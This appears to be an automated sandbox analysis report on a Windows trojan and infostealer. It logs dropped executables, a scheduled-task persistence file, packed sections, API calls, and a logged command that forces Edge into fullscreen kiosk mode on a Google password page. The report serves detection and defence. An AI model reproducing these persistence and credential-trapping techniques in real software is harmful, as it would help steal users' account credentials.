Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49763 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A5EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

9_2_00A5EAFF

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A5ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

9_2_00A5ED6A

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

9_2_00A5EAFF

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A4AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

9_2_00A4AA57

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A79576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

9_2_00A79576

System Summary

Binary is likely a compiled AutoIt script file

Source: 0c179c8402.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 0c179c8402.exe, 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4537e86c-4
Source: 0c179c8402.exe, 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f63453bb-f
Source: 0c179c8402.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_67969a78-0
Source: 0c179c8402.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3f53af28-e
Source: random[1].exe0.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d5fbd4cc-3
Source: random[1].exe0.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_9574b652-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 48c5076e95.exe.6.dr	Static PE information: section name:
Source: 48c5076e95.exe.6.dr	Static PE information: section name: .rsrc
Source: 48c5076e95.exe.6.dr	Static PE information: section name: .idata
Source: 48c5076e95.exe.6.dr	Static PE information: section name:
Source: a759b4c7d8.exe.6.dr	Static PE information: section name:
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: .rsrc
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: .idata
Source: a759b4c7d8.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A4D5EB: CreateFileW,DeviceIoControl,CloseHandle,

9_2_00A4D5EB

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A41201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

9_2_00A41201

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A4E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

9_2_00A4E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008CE440	6_2_008CE440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008C4CF0	6_2_008C4CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00903068	6_2_00903068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008F7D83	6_2_008F7D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00989680	6_2_00989680
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008C4AF0	6_2_008C4AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_0090765B	6_2_0090765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00902BD0	6_2_00902BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00906F09	6_2_00906F09
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00908720	6_2_00908720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_0090777B	6_2_0090777B
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A52046	9_2_00A52046
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009E8060	9_2_009E8060
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A48298	9_2_00A48298
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A1E4FF	9_2_00A1E4FF
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A1676B	9_2_00A1676B
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A74873	9_2_00A74873
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A0CAA0	9_2_00A0CAA0
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009ECAF0	9_2_009ECAF0
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009FCC39	9_2_009FCC39
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A16DD9	9_2_00A16DD9
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009E91C0	9_2_009E91C0
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009FB119	9_2_009FB119
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A01394	9_2_00A01394
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A01706	9_2_00A01706
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A0781B	9_2_00A0781B
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A019B0	9_2_00A019B0
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009E7920	9_2_009E7920
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_009F997D	9_2_009F997D
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A07A4A	9_2_00A07A4A
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A07CA7	9_2_00A07CA7
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A01C77	9_2_00A01C77
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A19EEE	9_2_00A19EEE
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A6BE44	9_2_00A6BE44
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A01F32	9_2_00A01F32

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: String function: 009E9CB3 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: String function: 00A00A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: String function: 009FF9F2 appears 40 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9991515112704918
Source: file.exe	Static PE information: Section: mitseuwh ZLIB complexity 0.994181847317182
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9991515112704918
Source: explorti.exe.0.dr	Static PE information: Section: mitseuwh ZLIB complexity 0.994181847317182
Source: random[1].exe.6.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344
Source: 48c5076e95.exe.6.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344
Source: a759b4c7d8.exe.6.dr	Static PE information: Section: fgtetwml ZLIB complexity 0.995076780051344

Source: explorti.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@80/300@12/10

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A537B5 GetLastError,FormatMessageW,

9_2_00A537B5

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A410BF AdjustTokenPrivileges,CloseHandle,		9_2_00A410BF
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A416C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		9_2_00A416C3

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A551CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

9_2_00A551CD

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A6A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

9_2_00A6A67C

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_00A5648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

9_2_00A5648E

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_009E42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

9_2_009E42A2

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Roaming\1000051000\

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Login Data.13.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 58%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 48c5076e95.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: a759b4c7d8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe "C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe "C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe "C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe"
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2116,i,16112167788991068290,14803182423369865752,262144 --disable-features=TranslateUI /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7020 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=4828 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=1816 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3596 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe "C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe "C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe "C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2116,i,16112167788991068290,14803182423369865752,262144 --disable-features=TranslateUI /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:3	Jump to behavior
